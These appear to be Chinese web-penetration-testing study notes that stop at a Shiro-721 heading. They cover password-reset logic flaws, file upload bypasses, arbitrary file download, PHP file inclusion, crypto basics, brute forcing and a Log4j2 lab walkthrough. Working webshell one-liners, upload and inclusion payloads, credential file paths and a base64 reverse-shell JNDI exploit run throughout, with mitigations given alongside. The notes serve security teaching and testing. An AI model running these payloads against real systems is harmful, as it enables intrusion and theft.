验证修改cookies中的每一项包含用户身份的信息是否会影响修改结果
验证是否可以在不登陆的情况下直接提交修改密码的请求进行修改
验证是否可以越权修改任意用户密码
密码找回
改数据包跳过步骤
用自己的用户身份找回密码,在最后修改密码的时候抓包修改成其它用户
修改返回包,把0改成1,或false改成true
手机号密码找回的时候看一下返回包里是否有手机验证码
邮箱密码找回的时候,试试修改邮箱,用别人的账号找回,发邮件填写自己的邮箱
验证码长度短,纯数字的可以直接burp爆破
同一验证码可以登录不同的账号
验证码纯数字且无时间限制
密码找回答案比较简单或参数判断不严格
越权修改
越权查询
任意用户注册
短信炸弹
占用资源(时间)
如何挖掘逻辑漏洞
1.确定业务流程
2.寻找流程中可以被操控的环节
3.分析可被操控环节中可能产生的逻辑问题
4.尝试修改参数触发逻辑问题
越权的防范
1.不能只根据用户 id 参数去搜索,应该再次进行身份验证(防止水平越权)
可以使用session【当访问服务器某个网页的时候,会在服务器端的内存里开辟一块内存,这块内存就叫做`SESSION】来控制,例如用户在登录成功后, 将用户名写入session中,当用户查看个人信息时,通过session中取出username,而不是从GET或者POST中取到username
2.可以从用户的加密认证 cookie 中获取当前用户 id,防止攻击者对其修改。或在 session、cookie 中加入不可预测、不可猜解的 user 信息。
3.在每个页面加载前进行权限认证(防止垂直越权)。
4.对有多步验证的应用,需要准确验证上一步是否通过。
文件上传与文件下载
文件上传
简介
成因
由于网站没有严格限制文件上传格式,从而导致可上传任意的文件格式,特别是脚本木马(Webshell)到服务器上,最终得到服务器的控制权限
详解文章
https://blog.csdn.net/m0_64910183/article/details/126612998?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166608386016800182158809%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166608386016800182158809&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-126612998-null-null.nonecase&utm_term=%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0&spm=1018.2226.3001.4450
常见上传点
上传附件
上传头像
上传相册
添加文章图片
前台留言资料上传
编辑器文件上传
常见的检测及绕过方式
客户端javascript检测 (通常为检测文件扩展名)
上传一个允许的文件,通过抓包修改文件后缀绕过
服务端MIME类型检测 (检测文件类型)
MIME介绍
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
比如浏览器的 MIME Sniff 功能就是通过读取文件的前256个字节,来判断文件的类型的
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
常见MIME类型
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
MPEG文件 .mpg,.mpeg video/mpeg
任意的二进制数据 application/octet-stream
绕过方法
上传一个允许的类型,修改filename为脚本名称,将webshell写入请求体绕过
方法一:直接伪造头部GIF89A
方法二:CMD方法,copy /b test.png+1.php muma.png
方法三:直接使用工具增加备注写入一句话木马
服务端文件扩展名检测
黑名单
文件名大小写绕过,如PhP,AsP
或使用黑名单里没有的名单,如cer
白名单
通过利用解析漏洞或使用长文件名进行检测绕过
0x00截断
原理
在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。
payload
受此影响的Web应用和一些服务器,可以通过构造文件名为 test.php[\0].jpg(POST 包中修改,其中 [\0] 为16进制的0x00字符) .jpg 绕过了应用的上传文件类型判断,但对于服务器来说,此文件因为 0 字节的截断,最终变成了 test.php
代码解析
name = getname(http request) //假如这时候获取到的文件名是test.asp .jpg(asp 后面为0x00) type = gettype(name) //而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg if (type == jpg) SaveFileToPath(UploadPath.name, name) //但在这里却是以0x00 作为文件名截断 //最后以test.asp 存入路径里
.htaccecc文件,修改该文件配置内容可设定指定目录下的文件解析成指写的格式
该文件解析漏洞需要拿到服务器权限之后才能更改,一般常用于留后门使用。
如果说在Apache中 “.htaccess"可被执行,且可被上传,那么就可以尝试在”.htaccess"中写入:
“<FilesMatch “xxx.jpx”>SetHandler aplication/x-httpd-php </FilesMatch>”
然后再上传shell.jpg的木马,这样shell.jpg就会被解析为php文件
把文件名改成test.asp. 或test.asp_(下划线为空格)
这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
:$DATA绕过
是Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据,如果a.asp 还包含了其他的数据流,比如 a.asp:lake2.asp,请求 a.asp:lake2.asp::$DATA,则是请求a.asp中的流数据lake2.asp的流数据内容。
服务端文件内容检测 (检测内容是否合法或含有恶意代码)
将恶意代码加密上传绕过
web应用程序解析
Apache解析漏洞
原因
在 Apache 1.x 2.x 中存在文件解析问题 Apache 对于文件名的解析是从后往前解析的,直到遇到一个Apache认识的文件类型为止
Apache 是通过 Apache 的 mime.types 文件中定义的文件类型判断的
payload
test.php.rar.rar
因为Apache不认识 rar 这个文件类型,所以他会一直遍历到后缀 .php ,然后认为这是一个 php 文件,从而导致脚本文件被执行
IIS解析漏洞
解析问题
分号截断
原因
IIS 6 和 Windows环境下在处理文件解析时,也出过类似00截断的问题,只不过截断字符变成了分号";"
payload
adc.asp;xx.jpg
IIS 6 会将此文件解析为 abc.asp ,后边的 xx.jpg 被截断了,从而导致脚本被执行
*.asp目录解析
原因
因为处理文件夹扩展名出错,导致将 /*.asp/ 目录下的所有文件都当作 ASP 文件进行解析
payload
http://www.test.com/path/app.asp/abc.jpg
这里的 abc.jpg 虽然是 jpg 文件,但却会被当作 ASP 文件进行解析
注意,这两个IIS漏洞,都需要在服务器本地的硬盘上确实存在这样的文件或文件夹,如果只是通过 Web 应用映射出来的 URL,则无法触发
配置问题
简介
在很多Web Server 中,默认都禁用了 PUT 方法,或者对能够上传的文件类型做了严格的限制。 但在IIS中,如果目录支持写权限,同时开启了 WebDav ,则会支持PUT方法,在结合 MOVE 方法,就能将原本只允许上传文本文件改写成脚本文件,从而执行 Webshell。 其中,MOVE 能否执行成功,取决于IIS服务器是否勾选了"脚本资源访问"复选框
前提
IIS 中目录支持写权限
开启了 WebDav
IIS服务器勾选了 "脚本资源访问" 复选框
利用方法
1. 通过 OPTIONS 探测服务器支持的方法
2. 上传包含恶意脚本的文本文件
PUT /test.txt HTTP/1.1 Host: www.test.com <%eval(request("cmd"))%>
3. 通过 MOVE 改文件名
MOVE /test.txt HTTP/1.1 Host: www.test.com Destination: http://www.test.com/path/shell.asp
Nginx解析漏洞
原因
Nginx 配置 fastcgi 使用PHP时,会存在文件解析问题
出现这个漏洞的原因与 "在 fastcgi 方式下,PHP 获取环境变量的方式有关" PHP 的配置文件中有一个关键选项:cgi.fix_pathinfo = 1,默认是开启的。在映射URI时,将递归查询路径确认文件的合法性,notexist.php 不存在时,将往前递归查询路径,这个功能原本是想解决 /info.php/test 这种 URL 能够正确解析到 info.php 上,此时 SCRIPT_FILENAME 需要检查文件是否存在,所以会是 /path/test.jpg ;而 PATH_INFO 此时还是 notexist.php,在最终执行的时候,test.jpg 会被当作 PHP 进行解析。
payload
http://www.test.com/path/test.jpg/notexist.php
其中 notexist.php 并不存在,如果在任何配置为 fastcgi 的PHP 应用里上传一张图片,其图片内容是 PHP 文件,则会导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似
不回显文件保存路径的利用思路
1. 尝试暴破敏感文件,看是否存在信息泄露,如果可以找到源码,就直接进行代码审计,查看是否可以找到文件上传的路径
2. 爆破目录,看是否存在类似 /uploads 或 /image 之类的目录,然后根据一些已知的信息,如:html页面的名字,构造路径进行暴破,如果暴破发现是403错误,那可能这个目录是存在的。之后尝试猜解上传后的文件名(一般文件上传之后都会修改文件名,如果没有那就省事了,如果原文件名返回404那多半是重命名了)
常用的文件名类型
1. 随机字符串
这种类型如果没有已知文件名的话是没有办法猜的
2. 时间戳类型
直接以“时间戳+序号.jpg”命名 (1631868676001.jpg)
3. yymmddHHmm类型
powershell -c Get-Date -Format yyyyMMddHHmm 生成当前时间序号,之后使用BP暴破就行
3. 通过程序报错,把路径爆出来
union select 1,2,hex(load_file("D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\index")) -- -
现在大多数站点都会使用站库分离的方案,文件系统和服务系统分开存储,或者直接使用第三方的文件存储系统,阿里云、腾讯云、七牛云都有这方面的服务。站库分离的拿到文件系统地址没有太大作用,使用第三方的一般防护做的都很好,普通新手很难绕过
安全防范
1、最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的'x'权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性;
2、文件类型检查:强烈推荐白名单方式,结合MIME Type、后缀检查等方式(即只允许允许的文件类型进行上传);此外对于图片的处理可以使用压缩函数或resize函数,处理图片的同时破坏其包含的HTML代码;
3、使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件;
4、单独设置文件服务器的域名; 由于浏览器同源策略的关系,一系列客户端攻击将失效
文件下载
漏洞介绍
一般网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞
存在的位置
一般链接形式
download.php?path=
down.php?file=
data.php?file=
download.php?filename=
包含参数
&src=
&inputfile=
&filepath=
&path=
&data=
利用思路
1. 下载常规的配置文件,如:ssh/weblogic/ftp/mysql 等相关配置
2. 下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好,还可以找到前辈留下的后门
3. 下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器 尝试读取/root/.bash_hitory 看自己是否具有root权限。
如果没有就只能按部就班的利用 ../ 来回跳转读取一些 .ssh 下的配置信息文件,读取 mysql 下的 .bash_history 文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。
如果我们遇到的是java+oracle环境, 可以先下载 /WEB-INF/classees/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载 /WEB-INF/classes/xxx/xxx/ccc.class 对文件进行反编译,然后搜索文件中的 upload 关键字看是否存在一些 api 接口,如果存在的话我们可以本地构造上传页面用 api 接口将我们的文件传输进服务器
如果具有 root 权限 在linux中可以使用 locate 命令来查找文件或目录,它不搜索具体目录,而是搜索一个数据库 /var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。当我们不知道路径是什么的情况下,这个可以说是个核武器了,我们利用任意文件下载漏洞 mlocate.db 文件下载下来,利用 locate 命令将数据输出成文件,这里面包含了全部的文件路径信息。 locate 读取方法:locate mlocate.db admin //可以将 mlocate.db 中包含 admin 文件名的内容全部输出来
常见利用路径
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
漏洞修复
(1)过滤".",使用户在url中不能回溯上级目录
(2)正则严格判断用户输入参数的格式
(3)php.ini配置open_basedir限定文件访问范围
文件包含
成因
开发人员为了使代码更加灵活,将被包含的文件设置为变量,来实现动态调用,如果用户可以控制这个变量且服务器没有做输入校验或校验可被绕过,就导致了开发人员希望以外的文件被包含,造成了文件包含漏洞
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\ASP\ASP.NET程序中非常少,甚至没有文件包含漏洞的存在。
包含漏洞分类
本地包含(LFI)
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞
远程包含(RFI)
远程包含 需要allow_url_include=on、magic_quotes_gpc=off 这两个条件在 php.ini 中,此时包含的文件可以是第三方服务器中的文件,这就造成了远程文件包含
文件包含的函数
Include()
当使用该函数包含文件时,只有代码执行到include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once()
功能与include()相同,区别在于当重复调用同一文件时,程序只调用一次
require()
require()与include()有区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本运行
require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
highlight_file() / show_source()
函数对文件进行语法高亮显示,通常可以看到源代码
readfile() / file_get_contents()
函数读取一个文件,并写入到输出缓冲
fopen()
打开一个文件或URL
伪协议
简介
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
常用伪协议
通过 file:// 包含
payload
?file=file://d:/phpstudy/www/webshell.txt
前提
allow_url-fopen = off/on
allow_url_include = off/on
作用
用于访问本地文件系统,通常用于读取本地文件而且不会收到allow_url_fopen和allow_url_include的影响。 在include()/require()/include_once()/require_once()参数可控的情况下,如果导入非.php的文件,则仍按照php语法进行解析,因为这个是include()函数决定的。
data://
条件
allow_url_fopen = on
allow_url_include = on
作用
通常可以用来执行PHP代码。 自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。
用法
date://text/plain
data://text/plain;base64
payload
?file=data://text/plain,<?php phpinfo()?>
通过 php:// 包含
前提
llow_url_fopen = off/on
llow_url_include 仅php://input 、php://stdin php://memory、 php://temp 需要on
作用
php:// 伪协议有很多用法,常用的就是 php://filter 用于读源码 php://input 用于执行php代码
php://filter
参数简介
resource=<要过滤的数据流>
必选项,它指定了你要筛选过滤的数据流
read=<读链的过滤器>
可选项,可以设定一个或多个过滤器名称,以管道符隔开
write=<写链的过滤器>
可选项,可以设定一个或多个过滤器名称,以管道符隔开
任何没有以 read= 或 write= 做前缀的筛选器列表会视情况应用于写或读链
转换过滤器: convert.base64-encode base64编码 convert.base64-decode base64解码
payload
?file=php://filter/read=convert.base64-encode//resource=./index.php
php://input
此协议需要 allow_url_include = on,可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行。 当传入的参数作为文件名打开时,可以将参数设为php://input,同时POST想设置的文件内容,php 执行时会将post内容当做文件内容
payload
?file=php://input [post data] <?php phpinfo()?>
用法
输入file=php://input,然后使用bp抓包,写入php代码
GET /include.php?file=php://input HTTP/1.1 HOST: Accept: <?php fwrite(fopen("shell.php","w"),'<?php eval($_POST(123));?>');?>
发送报文,可以看到本地生成了一句话木马,shell.php
通过 Zip:// & zlib:// 包含
前提
allow_url_fopen = off/on
allow_url_include = off/on
作用
zip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等
payload
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
通过 phar:// 包含
phar://协议与zip://类似,同样可以访问zip格式压缩包内容。
条件
allow_url_fopen = off/on
allow_url_include = off/on
包含漏洞能做什么
读文件
有特殊字符一定要转化为base64
例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
写文件/命令执行
注意:只有在allow _url_include为on的时候才可以使用,在C:\php\php-5.2.14-Win32下找到php.ini打开,查找disable_functions =proc-open,oppen,exec,system…….删掉system重启apache
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:<?php system('net user');?>
包含绕过
包含日志文件
\logs\access.log
截断包含(%00)
这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题
不同协议绕过
http/https
File
php
ssh2
防范方法
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
3、php版本升级,防止%00截断
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
加密算法与随机数
加密算法概述
常见的加密算法通常分为 分组加密算法 与 留密码加密算法 两种
加密算法分类
按加密方式分
分组加密算法
基于"分组"(block) 进行操作,根据算法的不同,每个分组的长度可能不同
代表有 DES、3-DES、Blowfish、IDEA、AES等
流密码加密算法
每次只处理一个字节,密钥独立于消息之外,两者通过异或实现加密与解密
代表有 RC4、ORYX、SEAL
按密钥是否相同分
对称式加密算法
简介
加密和解密用到的密钥是相同的,这种加密方式加密速度非常快,适合经常发送数据的场合。缺点是密钥的传输比较麻烦
从程序的角度看,所谓加密,就是这样一个函数: 它接收密码和明文,然后输出密文: secret = encrypt(key, message); 而解密则相反,它接收密码和密文,然后输出明文: plain = decrypt(key, secret);
代表有
AES
支持的工作模式有:ECB/CBC/PCBC/CTR/...
支持的填充模式有:NoPadding/PKCS7Padding/...
DES
支持的工作模式有:ECB/CBC/PCBC/CTR/...
支持的填充模式有:NoPadding/PKCS5Padding/PKCS7Padding/...
IDEA
支持的工作模式有:ECB
支持的填充模式有:NoPadding/PKCS7Padding/...
非对称加密算法
简介
加密和解密使用的不是相同的密钥,只有同一个公钥-私钥对才能正常加解密,通常来说公钥进行加密,私钥进行解密。 通常加密解密的速度比较慢,适合偶尔发送数据的场合。优点是密钥传输方便
代表有
RSA 、ECC等
两者的区别
加密和解密过程不同
对称加密过程和解密过程使用的同一个密钥,加密过程相当于用原文+密钥可以传输出密文,同时解密过程用密文-密钥可以推导出原文。但非对称加密采用了两个密钥,一般使用公钥进行加密,使用私钥进行解密。
加密解密速度不同
对称加密解密的速度比较快,适合数据比较长时的使用。非对称加密和解密花费的时间长、速度相对较慢,只适合对少量数据的使用
传输的安全性不同
对称加密的过程中无法确保密钥被安全传递,密文在传输过程中是可能被第三方截获的,如果密码本也被第三方截获,则传输的密码信息将被第三方破获,安全性相对较低。 非对称加密算法中私钥是基于不同的算法生成不同的随机数,私钥通过一定的加密算法推导出公钥,但私钥到公钥的推导过程是单向的,也就是说公钥无法反推导出私钥。所以安全性较高。
加密模式分类
常见的加密方式有ECB、CBC、CFB、OFB、CTR等
ECB与CBC模式的区别:ECB模式只进行了加密,而CBC模式则在加密前进行了一次XOR
ECB模式
介绍
电码簿模式,是最简单的一种加密模式,它将明文分为若干个组(block),每个分组之间相对独立的与key进行加密运算,最后将密文组合起来。
攻击方式
但它最大的问题也就出在这种分组的独立性上: 对于ECB模式来说,改变分组密文的顺序,将改变解密后的明文顺序;替换某个分组密文,解密后该对应分组的明文也会被替换,而其他分组不受影响
综上当需要加密的明文多于一个分组的长度时,应该避免使用ECB模式
CBC模式
介绍
Cipher Block Chaining 模式(密文分组连接模式),首先将密文分成若干组之后,第一个分组与初始向量(IV)进行XOR运算(异或运算),然后进行加密,下一分组与前一个密文进行XOR运算,然后再进行加密,直至所有分组加密完成
应用
确保互联网安全的通信协议之一SSL/TLS,就是使用CBC模式来确保通信机密性的,如使用CBC模式三重DES的3DES_EDE_CBC以及CBC模式256比特AES的AES_256_CBC等
注意的地方
1. 向量必须是一个与密钥长度相等的数据
2. 由于在加密前和解密后都会做异或运算,因此我们的明文可以不用补全,不是16个字节的倍数也可以,CBC中会自动用0补全进行异或运算
3. 在解密时是解密后才会再做异或运算,保证数据解密成功
4. 由于自动进行了补全,所以解密出的数据也会在后面补全0,因此获取到数据时,需要将末尾的0去除,或者根据源数据长度来截取解密后的数据
填充方式
简介
如果明文不是128位(16字节)的则需要填充,即在明文某个地方补充到16个字节整数倍的长度,加解密时需要采用同样的填充方式,否则无法解密成功
NoPadding
不进行填充,但是这里要求明文必须要是16个字节的整数倍,这个可以使用者本身自己去实现填充 除了该种模式以外的其他填充模式,如果已经是16个字节的数据的话,会再填充一个16字节的数据
PKCS5Padding (默认)
在明文的末尾进行填充,填充的数据是当前和16个字节相差的数量 最后一个字节肯定为填充数据的长度,所以在解密后可以准确删除填充的数据
填充前
1,2,3,4,5,6,7,8,9,10,11
填充后
1,2,3,4,5,6,7,8,9,10,11,5,5,5,5,5
PKCS7Padding
PKCS7和PKCS5的区别就是数据分块的大小(就是这么简单)
PKCS5填充块的大小为8bytes(64位)
PKCS7填充块的大小可以在1-255bytes之间
常见加密算法
AES
简介
(Advanced Encryption Standard) 高级加密标准,是最常见的对称加密算法。
参数的意义
Key length
指的是密钥的长度,一般有 AES128、AES192、AES256 (128,192,256位)
128位对应的是16个字节,所以部分平台库上,会使用16个字符或者长度为16的字符串来做密码。
key
key指的就是密码了,AES128就是128位的,如果位数不够,某些库可能会自动填充到128
IV(向量)
IV称为初始向量,不同的IV加密后的字符串是不同的,加密和解密需要相同的IV
mode(加密模式)
AES分为几种模式,比如ECB,CBC,CFB等等,这些模式除了ECB由于没有使用IV而不太安全,其他模式差别并没有太明显
padding(填充模式)
对于加密解密两端需要使用同一的PADDING模式,大部分PADDING模式为PKCS5, PKCS7, NOPADDING
国密算法
简介
国家密码局认定的国产密码算法。 主要有 SM1,SM2,SM3,SM4。密钥长度和分组长度均为 128 位
SM1
为对称加密,其加密强度与 AES 相当。该算法不公开,调用该算法时,需要通过加密芯片的接口进行调用。
SM2
为非对称加密,基于 ECC。该算法已公开。由于该算法基于 ECC,故其签名速度与秘钥生成速度都快于 RSA。ECC 256位(SM2 采用的就是 ECC 256 位的一种)安全强度比 RSA 2048 位高,但运算速度快于RSA。
SM3
SM3 消息摘要。可以用 MD5 作为对比理解。该算法已公开。校验结果为 256 位。
SM4
SM4 无线局域网标准的分组数据算法。对称加密,密钥长度和分组长度均为128位。
各算法的区别
算法类型
非对称加密
摘要算法
对称加密
密钥长度
公钥64字节 私钥32字节
16字节
输入数据要求
长度小于1374亿字节
无要求
分组长度16字节,需要填充到16字节整数倍。 有CBC和ECB两种模式,CBC需要设定初始值
输出数据特征
输出长度是明文长度+96, 有随机数参数,每次密文不同
固定长度,32字节
长度为16字节的整数倍
SM2
SM2与RSA算法的对比
SM2算法和RSA算法都是公钥密码算法,SM2算法与RSA算法不同的是,SM2算法是基于椭圆曲线上点群离散对数难题,相对于RSA算法,256位的SM2密码强度已经比2048位的RSA密码强度要高
通常银行测试 弱加密 时要求使用此算法
密钥管理
常见问题
密钥管理中最常见的错误,就是将密钥硬编码在代码里。 这个问题一般发生在测试阶段,开发图方便把密钥编码在代码里,在上线时忘记删除了,造成了密钥的泄露
硬编码的泄露途径
代码被广泛传播
这种泄露途径常见于一些开源软件; 有的商业软件并不开源,但编译后的二进制文件被用户下载,也可能被逆向工程反编译后,泄露硬编码的密钥
可以通过 Diffie-Hellman 交换密钥体系,生成公私钥来完成密钥的发放,来解决
密钥可以被所有开发人员接触
软件开发团队的成员都能查看代码,从而获知硬编码的密码。开发团队的成员如果流动性较大,则可能会由此泄露
只能通过改善密钥管理来保护密钥
常见做法
将密钥(包括密码)保存在配置文件或者数据库中,在使用时由程序读出密钥并加载进内存。密钥所在的配置文件或数据库需要严格的控制访问权限,同时也要确保运维或DBA中具有访问权限的人越少越好
定期更换密钥
一个比较安全的密钥管理系统,可以将所有密钥(包括一些敏感配置文件)都集中保存在一个服务器上,并通过 web service 的方式提供获取密钥的API。每个Web应用在需要使用密钥的时候,通过带认证信息的API请求密钥管理系统,动态获取密钥。 Web 应用不能把密钥写入本地文件中,只加载到内存,这样动态获取密钥最大程度的保护了密钥的私密性。 密钥集中管理,降低了系统对于密钥的耦合性,也有利于定期更换密钥
暴力破解
明文传输
介绍
敏感数据明文传输简单点来说就是当我们在网站上面提交敏感数据到服务器的过程中未进行相关加密处理,导致攻击者通过中间人攻击方式(劫持、嗅探等)即可获取到这些未加密的敏感数据。当攻击者获取到这些数据之后,就可以用这些信息以合法用户的身份进入到应用系统中——甚至可能进入到应用系统后台中,一旦进入到应用系统中那么就可以获取更多的敏感数据,以及更有机会发现更多的漏洞。
利用方法
方法1:通过中间人攻击方式(劫持、嗅探等)获取未加密的敏感数据
方法2:根据web用户登陆页面,直接进行暴力破解用户信息。
防御方法
方法1:使用正规的ca机构颁发的https证书
方法2:采用非对称加密方式(不可逆的加密方式)
暴力破解注意事项
1.破解前一定要有一个有效的字典 top100 top2000 csdn QQ 163等密码
2.判断用户是否设置了复杂的密码 主要看注册的时候网站如何要求密码格式
3.网站是否存在验证码
4.尝试登录的行为是否有限制
5.网站是否有双因素认证、Token值等 双因素认证:密码+手机验证码
暴力破解分类
C/S 客户端
Bruter、hydra等
B/S 浏览器
基于表单的暴力破解
基于验证码的暴力破解
客户端绕过 on_client 常见问题
不安全的前端js实现验证码
不安全的将验证码在cookie中泄露
不安全的将验证码的前端源代码中泄露
服务端绕过 on_server常见问题
验证码使用后在后台没有被销毁,导致长期使用(php默认session是24分钟过期)
验证码校验不严格,逻辑出现问题
验证码设计的太过简单和有规律的被破解
弱验证码识别攻击
基于Token破解
由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般token在防止CSRF上会有比较好的功效
暴力破解安全防范
1.强制要求输入验证码,否则必须实施IP策略 注意不要被X_Porwaded_For绕过了
2.验证码只能用一次,用完立即过期,不能再次使用
3.验证码不要太弱。 扭曲、变形、干扰线条、干扰背景色、变换字体等
4.大网站最好统一安全验证码,各处使用同一个验证码接口
中间件及组件漏洞
Apache
RCE 远程代码执行
Log4j2远程代码执行漏洞 (2021年12月)
原理
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。
最终解释
Log4j2反序列化漏洞主要是由JNDI注入造成的,它的 JNDI 注入漏洞主要存在于 JndiLookup.class 和 jndiManager.class 这两个类中。其中 JndiManager.class 定义了如 lookup() 这种处理 JNDI 相关操作的方法,lookup() 接受用户提供的 JNDI URL 作为了输入参数并返回处理结果。攻击者就可以构造恶意的 JNDI URL,将JNDI引用和待执行的远程代码等信息合并起来,在log4j 解析恶意 URL 时就会触发任意代码执行
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
RMI (Remote Method Invocation) 即远程方法调用,是Java中一种基于对象的分布式程序设计模型。通过RMI机制,可以让客户端应用程序像调用本地方法一样直接调用另外一个JVM上运行的远程对象中公开的方法,而无需了解网络编程、机器地址和具体传输协议的细节,从而使得分布式应用程序的开发变得更加容易。
JNDI URL 是一种特殊的URL格式,它通常用于访问JNDI数据库或其他外部资源。在Log4j2漏洞中,攻击者利用恶意 JNDI URL ,将自己构造的可控对象绑定到了JNDI目录项,从而导致反序列化漏洞。 实例如后方展开
java:comp/env/jdbc/MyDataSource
java: 表示Java命名和目录接口(Java Naming and Directory Interface, JNDI)。
comp/env 表示要查找JNDI上下文的根路径,即Context环境。
jdbc 表示目标资源类型,这里是JDBC数据源。
MyDataSource 表示JNDI名称,即目标资源在JNDI中的名称。
被我淘汰的解释,仅供参考
由于Log4j2 组件在处理程序日志记录是存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
log4j2框架下的 lookup 提供了${} 字段解析的功能,攻击者通过构造的恶意java序列化数据包,在使用日志功能时触发了它的反序列化过程,传入的 payload 被直接解析并执行,从而成功供给系统
漏洞验证(判断是否存在)
靶场vulhub
找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参数
构造的pyload: cores?action=${jndi:ldap://${sys:java.version}.i913n8.ceye.io}
对action参数传参,其中sys:java.version查看目标java版本,deye.io为dnslog地址
ceye.io 是一个检测外带数据的平台
存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在ceye.io那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号
漏洞复现
需要用到一个GitHub上的工具
https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
利用整体步骤:
1.生成shell,并将shell编码成base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104"
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1 例如:bash -i >& /dev/tcp/192.168.0.104/4444 0>&1 然后将其base64编码
参数说明:base64编码反弹shell脚本。-A参数接vps地址
2.利用jndi工具得到注入pyload
${jndi:ldap://192.168.0.104:1389/bdy3jf}
3.利用nc监听shell端口
nc -lvvp 4444
4.发送生产的pyload
cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}
5.得到shell
修复方法
及时升级
防范Log4j2反序列化漏洞最简单有效的方法是及时更新到不受影响的Log4j版本 Log4j 2.17.1 版本
紧急缓解措施
移除 JndiLookup 插件:禁用JndiLookup插件可以有效防御反序列化漏洞
移除JMS支持: 如果应用程序不需要JMS支持,则可以将相关组件删除或停用,以避免漏洞利用。具体地,可以将log4j-jms-appender-2.x.x.jar从应用程序中删除或停用JMS相关代码。
Shiro-721 高危代码执行漏洞 (2021)
漏洞原理
